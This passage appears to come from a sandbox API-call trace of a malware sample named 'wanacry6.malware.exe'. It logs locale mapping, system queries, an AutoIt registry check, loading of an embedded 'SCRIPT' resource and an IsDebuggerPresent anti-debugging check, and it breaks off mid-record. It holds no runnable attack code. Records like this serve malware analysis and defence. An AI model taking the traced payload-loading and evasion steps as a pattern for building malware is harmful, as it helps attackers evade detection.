!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0047.466] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x10f397ef10, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0047.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x10f397f550, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0047.466] GetLastError () returned 0x0 [0047.466] SetLastError (dwErrCode=0x0) [0047.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x10f397f450, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x10f397f450, cbMultiByte=256, lpWideCharStr=0x10f397f120, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0047.466] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0047.466] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x10f397ef10, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0047.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x10f397f650, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0047.466] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0047.466] GetVersionExW (in: lpVersionInformation=0x10f397f8b0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0x10f397f8b0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0047.466] GetCurrentProcess () returned 0xffffffffffffffff [0047.466] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x10f397f9f8 | out: Wow64Process=0x10f397f9f8) returned 1 [0047.466] GetSystemInfo (in: lpSystemInfo=0x10f397f878 | out: lpSystemInfo=0x10f397f878*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0047.467] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0047.467] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0047.467] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0047.467] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0047.467] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0047.467] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0047.467] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0047.468] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0047.468] OleInitialize (pvReserved=0x0) returned 0x0 [0047.489] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0x10f397f990 | out: phkResult=0x10f397f990*=0x14c) returned 0x0 [0047.489] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0x10f397f9f0, lpcbData=0x10f397f9c0*=0x8 | out: lpType=0x0, lpData=0x10f397f9f0*=0x30, lpcbData=0x10f397f9c0*=0x4) returned 0x0 [0047.489] RegCloseKey (hKey=0x14c) returned 0x0 [0047.491] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10f395f960, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0047.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x10f394f910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0047.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x10f395f960, lpFilePart=0x10f396f970 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x10f396f970*="WANACR~1.EXE") returned 0x26 [0047.492] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0x10f397fa20 | out: phkResult=0x10f397fa20*=0x0) returned 0x2 [0047.492] IsThemeActive () returned 0x1 [0047.493] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0x10f397fa50, fWinIni=0x0 | out: pvParam=0x10f397fa50) returned 1 [0047.493] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0047.493] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x10f395fa20 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0047.493] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10f394f880, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0047.494] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x10f393f830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0047.494] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0047.494] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0047.494] Wow64DisableWow64FsRedirection (in: OldValue=0x10f395f890 | out: OldValue=0x10f395f890*=0x0) returned 0 [0047.494] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0047.494] GetCurrentPackageId () returned 0x3d54 [0047.494] CreateFileW (lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x10f395f660, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0047.494] GetFileType (hFile=0x14c) returned 0x1 [0047.494] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0047.495] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0047.495] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0047.495] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0047.495] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0047.495] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x10f395f958 | out: ppstm=0x10f395f958*=0x10f3a866f0) returned 0x0 [0047.501] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0047.501] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0047.501] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0047.501] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0047.501] ISequentialStream:RemoteWrite (in: This=0x10f3a866f0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0047.502] IStream:RemoteSeek (in: This=0x10f3a866f0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0047.502] IStream:RemoteSeek (in: This=0x10f3a866f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x10f395f828 | out: plibNewPosition=0x10f395f828) returned 0x0 [0047.502] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f3a90a30, cb=0x18, pcbRead=0x10f395f770 | out: pv=0x10f3a90a30*=0xa3, pcbRead=0x10f395f770*=0x18) returned 0x0 [0047.502] IStream:RemoteSeek (in: This=0x10f3a866f0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x10f395f770 | out: plibNewPosition=0x10f395f770) returned 0x0 [0047.502] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f810, cb=0x4, pcbRead=0x10f395f770 | out: pv=0x10f395f810*=0x45, pcbRead=0x10f395f770*=0x4) returned 0x0 [0047.502] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f840, cb=0x10, pcbRead=0x10f395f810 | out: pv=0x10f395f840*=0x4d, pcbRead=0x10f395f810*=0x10) returned 0x0 [0047.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f395f6d0 | out: lpSystemTimeAsFileTime=0x10f395f6d0*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.502] IStream:RemoteSeek (in: This=0x10f3a866f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x10f395f8a8 | out: plibNewPosition=0x10f395f8a8) returned 0x0 [0047.503] IStream:RemoteSeek (in: This=0x10f3a866f0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0x10f395f180 | out: plibNewPosition=0x10f395f180) returned 0x0 [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395ef30, cb=0x4, pcbRead=0x10f395ef00 | out: pv=0x10f395ef30*=0x6b, pcbRead=0x10f395ef00*=0x4) returned 0x0 [0047.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f395edc0 | out: lpSystemTimeAsFileTime=0x10f395edc0*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f198, cb=0x4, pcbRead=0x10f395ef00 | out: pv=0x10f395f198*=0xa6, pcbRead=0x10f395ef00*=0x4) returned 0x0 [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395ef40, cb=0x34, pcbRead=0x10f395ef00 | out: pv=0x10f395ef40*=0xe1, pcbRead=0x10f395ef00*=0x34) returned 0x0 [0047.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f395edc0 | out: lpSystemTimeAsFileTime=0x10f395edc0*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f198, cb=0x4, pcbRead=0x10f395ef00 | out: pv=0x10f395f198*=0x43, pcbRead=0x10f395ef00*=0x4) returned 0x0 [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f650, cb=0xc6, pcbRead=0x10f395ef00 | out: pv=0x10f395f650*=0xcd, pcbRead=0x10f395ef00*=0xc6) returned 0x0 [0047.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f395edc0 | out: lpSystemTimeAsFileTime=0x10f395edc0*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f890, cb=0x1, pcbRead=0x10f395f180 | out: pv=0x10f395f890*=0x0, pcbRead=0x10f395f180*=0x1) returned 0x0 [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f1b0, cb=0x4, pcbRead=0x10f395f180 | out: pv=0x10f395f1b0*=0xbc, pcbRead=0x10f395f180*=0x4) returned 0x0 [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f1b0, cb=0x4, pcbRead=0x10f395f180 | out: pv=0x10f395f1b0*=0xbc, pcbRead=0x10f395f180*=0x4) returned 0x0 [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f395f1b0, cb=0x4, pcbRead=0x10f395f180 | out: pv=0x10f395f1b0*=0x84, pcbRead=0x10f395f180*=0x4) returned 0x0 [0047.503] IStream:RemoteSeek (in: This=0x10f3a866f0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0x10f395f180 | out: plibNewPosition=0x10f395f180) returned 0x0 [0047.503] ISequentialStream:RemoteRead (in: This=0x10f3a866f0, pv=0x10f3a90510, cb=0x0, pcbRead=0x10f395f180 | out: pv=0x10f3a90510*=0x0, pcbRead=0x10f395f180*=0x0) returned 0x0 [0047.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f395f040 | out: lpSystemTimeAsFileTime=0x10f395f040*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.504] CloseHandle (hObject=0x14c) returned 1 [0047.504] IUnknown:Release (This=0x10f3a866f0) returned 0x0 [0047.504] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0047.505] IsDebuggerPresent () returned 0 [0047.505] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0x10f393f8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0047.505] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0x10f393f8d0, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0047.505] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0x10f393f880, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0047.505] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0047.506] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0047.506] Wow64DisableWow64FsRedirection (in: OldValue=0x10f394f800 | out: OldValue=0x10f394f800*=0x0) returned 0 [0047.506] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0047.506] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x10f394f5d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0047.506] GetFileType (hFile=0x14c) returned 0x1 [0047.506] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0047.507] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0047.507] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0047.507] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0047.507] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0047.507] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x10f394f880 | out: ppstm=0x10f394f880*=0x10f3a86ab0) returned 0x0 [0047.507] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0047.507] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0047.507] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0047.507] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0047.507] ISequentialStream:RemoteWrite (in: This=0x10f3a86ab0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0047.507] IStream:RemoteSeek (in: This=0x10f3a86ab0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0047.507] IStream:RemoteSeek (in: This=0x10f3a86ab0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x10f394f798 | out: plibNewPosition=0x10f394f798) returned 0x0 [0047.507] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f3a90ce0, cb=0x18, pcbRead=0x10f394f6e0 | out: pv=0x10f3a90ce0*=0xa3, pcbRead=0x10f394f6e0*=0x18) returned 0x0 [0047.507] IStream:RemoteSeek (in: This=0x10f3a86ab0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x10f394f6e0 | out: plibNewPosition=0x10f394f6e0) returned 0x0 [0047.507] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f780, cb=0x4, pcbRead=0x10f394f6e0 | out: pv=0x10f394f780*=0x45, pcbRead=0x10f394f6e0*=0x4) returned 0x0 [0047.507] ISequentialStream:RemoteRead (in: This=0x10f3a86ab0, pv=0x10f394f7b0, cb=0x10, pcbRead=0x10f394f780 | out: pv=0x10f394f7b0*=0x4d, pcbRead=0x10f394f780*=0x10) returned 0x0 [0047.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f394f640 | out: lpSystemTimeAsFileTime=0x10f394f640*(dwLowDateTime=0x50114921, dwHighDateTime=0x1d31057)) [0047.507] IStream:RemoteSeek (in: This=0x10f3a86ab0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0x10f394f818 | out: plibNewPosition=0x10f394f818) returned 0x0 [0047.507] IStream:RemoteSeek (in: This=0x10f3a86ab0, dlibMove=0x28, dwOrigin=0x0, 